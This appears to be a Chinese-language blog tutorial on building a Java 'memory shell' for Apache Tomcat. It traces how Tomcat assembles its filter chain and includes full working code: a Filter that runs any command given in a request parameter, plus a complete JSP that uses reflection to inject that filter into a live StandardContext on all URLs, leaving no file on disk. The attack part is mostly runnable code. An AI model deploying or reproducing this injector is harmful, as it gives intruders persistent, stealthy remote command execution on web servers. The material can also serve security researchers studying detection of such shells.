Java内存马-Filter

准备

先写一个恶意filter示范

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;

public class filtermem implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

        String cmd = request.getParameter("cmd");

        if (cmd != null && !cmd.isEmpty()) {
            Process process = Runtime.getRuntime().exec(cmd);

            // 获取命令输出(示例:输出到响应)
            InputStream inputStream = process.getInputStream();
            int c;
            while ((c = inputStream.read()) != -1) {
                response.getWriter().write(c);
            }
            inputStream.close();
            return; // 终止链条传递
        }

        // 继续处理请求
        chain.doFilter(request, response);
    }

    public void init(FilterConfig filterConfig) throws ServletException {
        // 初始化操作(可留空)
    }
    public void destroy() {
        // 资源销毁(可留空)
    }


}

web.xml配置

    <!-- 配置 Filter -->
    <filter>
        <filter-name>filtermem</filter-name>
        <filter-class>memshell.filtermem</filter-class>
    </filter>

    <!-- 配置 Filter 的映射 -->
    <filter-mapping>
        <filter-name>filtermem</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

启动tomcat,就可以在任意位置路由输入cmd执行命令了

debug

调用链

image-20250503214057211

往上跟一步,这里调用的filter是从filterConfig来的,filterConfig又是从上面的filters数组来的

image-20250503214216873

跟这个filters数组可以跟到这个方法

image-20250503214534011

这个方法是createFilterChain调用的:public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet)

image-20250503223526289

注意上面的filterConfig不能为空,此处context的filterConfigs是一个hashmap

image-20250503223928729

也就是说此处是在filterMaps里面找filter的名字再去context的filterConfigs做匹配

往上找这个filterMaps哪来的,如下:

image-20250503215113874

直接去跟context.findFilterMaps

返回filterMaps字段

image-20250503220944671

跟进,有一处filterMaps.add(filterMap);调用

image-20250503221017617

跟进去看看

image-20250503221057731

这里contextConfig是老朋友了

image-20250503221108347

跟进去又是private void configureContext(WebXml webxml)方法

这里有两处关键点,也就是filterMap初始化的地方

image-20250503221403457

那么这里filterMap有了,还记得上面说过此处是在filterMaps里面找filter的名字再去context的filterConfigs做匹配

filterconfig貌似还没有被赋值,去找找

image-20250503225447129

找到一个filterStart方法,拿着filterDef去做遍历给filterConfig赋值

image-20250503225458683

所以我们去调用context的这里,把def和map搞进去,再去调上面的filterStart就也把filterConfig搞好了

image-20250503221403457

编写脚本

首先把能写的写好

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%!
  public class fuck2 implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

      String cmd = request.getParameter("cmd2");

      if (cmd != null && !cmd.isEmpty()) {
        Process process = Runtime.getRuntime().exec(cmd);

        // 获取命令输出(示例:输出到响应)
        InputStream inputStream = process.getInputStream();
        int c;
        while ((c = inputStream.read()) != -1) {
          response.getWriter().write(c);
        }
        inputStream.close();
        return; // 终止链条传递
      }

      // 继续处理请求
      chain.doFilter(request, response);
    }

    public void init(FilterConfig filterConfig) throws ServletException {
      // 初始化操作(可留空)
    }
    public void destroy() {
      // 资源销毁(可留空)
    }


  }
%>

<%
  try {
    // 获取 servletContext 对象
    ServletContext servletContext = request.getSession().getServletContext();

    // 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    // 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);



    standardContext.addFilterDef();
    standardContext.addFilterMap();
    standardContext.filterStart();

    out.println("Inject success.");
  } catch (Exception e) {
    e.printStackTrace();
  }
%>

接下来往里构造

    FilterDef  filterDef =new FilterDef();
    filterDef.setFilterName("fuck2");
    filterDef.setFilter(new fuck2());
    filterDef.setFilterClass(fuck2.class.getName());

    FilterMap  filterMap = new FilterMap();
    filterMap.setFilterName("fuck2");
    filterMap.addURLPattern("/*");

    standardContext.addFilterDef(filterDef);
    standardContext.addFilterMap(filterMap);
    standardContext.filterStart();

完整脚本

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%!
  public class fuck2 implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

      String cmd = request.getParameter("cmd2");

      if (cmd != null && !cmd.isEmpty()) {
        Process process = Runtime.getRuntime().exec(cmd);

        // 获取命令输出(示例:输出到响应)
        InputStream inputStream = process.getInputStream();
        int c;
        while ((c = inputStream.read()) != -1) {
          response.getWriter().write(c);
        }
        inputStream.close();
        return; // 终止链条传递
      }

      // 继续处理请求
      chain.doFilter(request, response);
    }

    public void init(FilterConfig filterConfig) throws ServletException {
      // 初始化操作(可留空)
    }
    public void destroy() {
      // 资源销毁(可留空)
    }


  }
%>

<%
  try {
    // 获取 servletContext 对象
    ServletContext servletContext = request.getSession().getServletContext();

    // 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    // 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    FilterDef  filterDef =new FilterDef();
    filterDef.setFilterName("fuck2");
    filterDef.setFilter(new fuck2());
    filterDef.setFilterClass(fuck2.class.getName());

    FilterMap  filterMap = new FilterMap();
    filterMap.setFilterName("fuck2");
    filterMap.addURLPattern("/*");

    standardContext.addFilterDef(filterDef);
    standardContext.addFilterMap(filterMap);
    standardContext.filterStart();

    out.println("Inject success.");
  } catch (Exception e) {
    e.printStackTrace();
  }
%>

访问

image-20250503231341675

注入成功

image-20250503231358064

0%